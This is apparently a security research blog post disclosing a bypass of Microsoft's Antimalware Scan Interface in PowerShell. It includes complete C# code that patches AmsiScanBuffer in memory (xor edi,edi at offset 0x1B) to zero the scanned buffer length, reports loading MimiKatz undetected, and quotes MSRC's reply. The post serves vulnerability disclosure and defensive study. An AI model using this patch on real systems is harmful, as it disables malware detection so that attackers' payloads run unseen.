Three months ago we published a blog, “AMSI Bypass the Patching Technique,” describing how to bypass Microsoft AMSI (Antimalware Scan Interface) protection. Microsoft has since changed the way AMSI handles PowerShell sessions, so our original bypass technique now fails to operate with the update.
The Microsoft update changed AMSI, so that PowerShell no longer uses the AmsiScanString function when scanning user inputs. In this blog post, we explore the changes to AMSI and attempt to modify our previous bypass to work with the new version of PowerShell.
Say Goodbye AmsiScanString
While testing the Windows 10 version 1709 update, we tried to set a breakpoint (using windbg) on the AmsiScanString function. Obviously, nothing happened when we tried to execute a command in the PowerShell console. Reviewing the APIs calls (using API Monitor) strengthened our hypothesis that AmsiScanString is no longer in use. Microsoft has stopped using the AmsiScanString function and is now using AmsiScanBuffer instead.
In the following image, you can see that the AmsiScanString calls have been replaced with the AmsiScanBuffer API calls.
When we tried to rerun the PowerShell MimiKatz payload, Defender identified the execution by AmsiScanBuffer, and we received the following PowerShell error:
The test was done on a machine running Windows 10 version 14393.
At this stage, we tried to bypass the new Microsoft mitigation and update the previous bypass technique. The goal is to patch the new AmsiScanBuffer function.
Here is the function documentation:
As you see, this function gets the required buffer to be scanned and the buffer length. All we need to do is to patch the register within the function that holds the buffer length. By doing so, the scan will be executed on a length of zero.
The following image shows the patch that was done (Windbg left window) and the successful loading of MimiKatz into a PowerShell session (right PowerShell window):
Our patch is underlined in red (Windbg left window), the original instruction was “mov edi, r8d” – r8d held the buffer length and moved it to the edi register.
As you can see now, the new patch code line is “xoring” edi with edi. This command resets the buffer length (which is held by edi) to zero.
Introducing AMSI_BYPASS2, the C# Version
With the new AmsiScanBuffer bypass approach determined, we made a new version of the bypass tool that does not require a native unmanaged dynamic-link library (DLL) to be loaded (as in the previous AMSI bypass). We converted the native unmanaged DLL code (that performs the memory patching) to a simple C# code that can be loaded by using the Add-Type Cmdlet or by compiling the C# code to a managed DLL and loading the compiled DLL to the PowerShell console via the [System.Reflection.Assembly]::LoadFile() function.
Note: We could have simply updated the existing approach code to target AmsiScanBuffer, but we decided to write a complete C# version.
Here is the main C# code part:
public static string run() { IntPtr dllHandle = LoadLibrary("amsi.dll"); //load the amsi.dll if (dllHandle == null) return "error"; //Get the AmsiScanBuffer function address IntPtr AmsiScanbufferAddr = GetProcAddress(dllHandle, "AmsiScanBuffer"); if (AmsiScanbufferAddr == null) return "error"; IntPtr OldProtection = Marshal.AllocHGlobal(4); //pointer to store the current AmsiScanBuffer memory protection //Pointer changing the AmsiScanBuffer memory protection from readable only to writeable (0x40) bool VirtualProtectRc = VirtualProtect(AmsiScanbufferAddr, 0x0015, 0x40, OldProtection); if (VirtualProtectRc == false) return "error"; //The new patch opcode var patch = new byte[] {0x31,0xff,0x90}; //Setting a pointer to the patch opcode array (unmanagedPointer) IntPtr unmanagedPointer = Marshal.AllocHGlobal(3); Marshal.Copy(patch, 0, unmanagedPointer,3); //Patching the relevant line (the line which submits the rd8 to the edi register) with the xor edi,edi opcode MoveMemory(AmsiScanbufferAddr + 0x001b, unmanagedPointer, 3); return "OK"; }
AMSI Bypass2 was tested on Windows 10 version 17074.
Here is the Microsoft Security Response Center (MSRC) Response:
We don’t see this as a security vulnerability – but we’ll definitely look into what we can do to prevent (or detect) this type of attacks.
The report is patching the code of the AmsiScanBuffer method in the process calling the AMSI functions by loading a C# DLL in it.
Then zeroing the parameter ULONG length of the scanned buffer (using xor edi,edi instruction injected at offset 0x1B) thus breaking the AMSI interface only in the process where the C# DLL was loaded (“and bypassing AMSI”).
The AMSI was not designed to prevent such attacks. If an attacker can execute code in a process using AMSI to scan for malware, there are numerous ways to alter the behavior of the AMSI scan.
Conclusion
This AMSI bypass technique is not the first, and most certainly will not be the last, approach to bypass PowerShell’s integration with AMSI. What is important to note is that this approach can run as a standard user (non-admin user) and it will be successful. Because it works for a standard user, we define this technique as revealing a serious design flaw in the mechanism by which AMSI operates with PowerShell, and we therefore have a different opinion then MSRC regarding this matter.